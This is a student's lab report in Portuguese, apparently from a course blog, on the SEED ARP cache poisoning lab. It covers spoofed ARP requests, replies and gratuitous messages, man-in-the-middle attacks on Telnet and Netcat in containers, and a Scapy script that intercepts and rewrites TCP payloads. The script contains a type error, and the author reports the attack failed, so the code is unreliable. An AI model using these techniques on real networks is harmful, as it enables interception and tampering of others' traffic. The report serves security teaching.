Skip to content
ECP UFU
Voltar

SEG Lab 5 - ARP Cache Poisoning Attack Lab

SEG Lab 5 - ARP Cache Poisoning Attack Lab

Conteúdos

Nome da Atividade: SEG Lab 5 - ARP Cache Poisoning Attack Lab

Nome e Matrícula: Lucas Lima do Nascimento - 12111ECP024

3. Task 1.A (using ARP request).

Primeiramente, iniciei o processo construindo o código necessário para enviar o pacote com as informações de IP e endereço MAC que foram previamente obtidas. Este processo envolveu a criação de uma série de instruções cuidadosamente elaboradas para garantir que o pacote fosse enviado corretamente e que todas as informações necessárias fossem incluídas.

Uma vez que o código foi construído, utilizei o método sendp para enviar o pacote. Este método é particularmente útil em situações em que é necessário enviar pacotes de dados com informações críticas e precisas.

Depois de enviar o pacote, entrei no container A e acessei os registros ARP para verificar se as informações de IP e endereço MAC foram recebidas corretamente. Este processo envolveu uma verificação cuidadosa das informações de registro, incluindo a análise de todos os dados relevantes para garantir que estavam corretos e precisos.

No geral, o processo de enviar pacotes com informações de IP e endereço MAC pode ser complexo, mas com o código correto e o método de envio adequado, é possível garantir que as informações sejam enviadas corretamente e que todas as informações necessárias sejam incluídas. Com a verificação cuidadosa dos registros ARP, é possível confirmar que as informações foram recebidas corretamente e que o processo foi concluído com sucesso.

Untitled

Untitled

Untitled

3. Task 1.B (using ARP reply).

Para a segunda atividade, foi necessário fazer uma alteração no arp.op, trocando-o por is-at (ou 2). Além disso, para facilitar a visualização, incluí um comando show no pacote, que exibe as informações no terminal.

Durante a execução dessa parte do exercício, ao adicionar um registro já existente no ARP, o registro anterior foi removido automaticamente. Para garantir que não houvesse conflitos, executei o comando ip -s -s neigh flush all, que limpa todos os registros do cache ARP, antes de prosseguir com a atividade.

Untitled

Untitled

Untitled

3. Task 1.C (using ARP gratuitous message)

Para essa terceira atividade, bastou alterar o valor do endereço MAC e utilizar o mesmo endereço IP para psrc e pdst (utilizando assim, uma ARP grauitous message).

Untitled

Untitled

Untitled

4. Task 2: MITM Attack on Telnet using ARP Cache Poisoning

Para iniciar o ataque, M falsifica dois pedidos ARP: um com o endereço IP de B como destino e outro com o endereço IP de A como destino. Isso é semelhante ao procedimento usado na Tarefa 1A.

Criei um script que envia os pacotes de 3 em 3 segundos. Com isso, podemos notar que, quando B tenta pingar A, por exemplo, ele acaba pingando M sem saber.

Untitled

B tenta pingar A

B tenta pingar A

M é pingado no lugar

M é pingado no lugar

Com o encaminhamento de IP ativo, ele envia corretamente os pacotes.

Já relativa à parte do exercício envolvendo telnet, apesar de ter conseguido logar na máquina os comandos e executar algumas instruções disponíveis no pacote telnet, não consegui fazer com que os dados fossem alterados (eu suspeito que algo relativo à conexão dos contêineres não esteja funcionando corretamente)

Untitled

Untitled

Untitled

5. Task 3: MITM Attack on Netcat using ARP Cache Poisoning

Nessa última parte, utilizando o netcat, consegui conectar ambos os contêineres corretamente,

Untitled

Entretanto, apesar do TCPdump conseguir detectar a troca de pacotes, o meu código não parecia executar o sniffing de forma correta.

Untitled

Segue o código utilizado:

#!/usr/bin/env python3
from scapy.all import *

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    print(pkt)
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        # Create a new packet based on the captured one.
        # 1) We need to delete the checksum in the IP & TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them if these fields are missing.
        # 2) We also delete the original TCP payload.
        newpkt = IP(bytes(pkt[IP]))
        del newpkt.chksum
        del newpkt[TCP].payload
        del newpkt[TCP].chksum
        #################################################################
        # Construct the new payload based on the old payload.
        # Students need to implement this part.
        if pkt[TCP].payload:
            data = pkt[TCP].payload.load  # The original payload data
            newdata = list("AAAAAAAAA") + data  # No change is made in this sample code
            print(newdata)
            send(newpkt / newdata)
        else:
            send(newpkt)
        ################################################################
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        # Create new packet based on the captured one
        # Do not make any change
        newpkt = IP(bytes(pkt[IP]))
        del newpkt.chksum
        del newpkt[TCP].chksum
        send(newpkt)

f = "tcp"
pkt = sniff(iface="eth0", filter=f, prn=spoof_pkt)

Share this post on:

Postagem Anterior
SEG Lab 4 - Packet Sniffing and Spoofing Lab
Próxima Postagem
SEG Lab 6 - ICMP Redirect Attack Lab